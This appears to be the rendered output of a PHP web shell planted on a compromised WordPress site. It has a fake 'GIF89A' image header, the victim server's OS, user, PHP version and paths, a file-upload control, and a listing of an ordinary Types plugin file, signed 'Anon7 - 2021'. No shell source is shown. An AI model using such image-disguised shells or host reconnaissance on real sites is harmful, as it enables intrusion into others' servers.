GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/types/library/toolset/types/embedded/includes/cred.php
<?php
/*
 * CRED related code.
 * srdjan
 */

/*
 * Adds all groups and fields to be processed when on CRED form.
 * This is needed because meta-boxes are omitted but editor dropdown needed. 
 * 
 * added by srdjan
 * USE THIS IF YOU WANT TO SHOW TYPES ICON AND DROPDOWN
 */
//add_filter( 'wpcf_post_groups', 'wpcf_cred_post_groups_filter', 10, 3 );

/**
 * Filters groups on post edit page.
 * 
 * @param type $groups
 * @param type $post
 * @return type 
 */
function wpcf_cred_post_groups_filter( $groups, $post ) {
    if ( isset( $post->post_type ) && $post->post_type == 'cred-form' ) {
        return wpcf_admin_fields_get_groups( TYPES_CUSTOM_FIELD_GROUP_CPT_NAME, 'group_active',
                        'fields_active' );
        return wpcf_admin_fields_get_groups();
    }
    return $groups;
}

Anon7 - 2021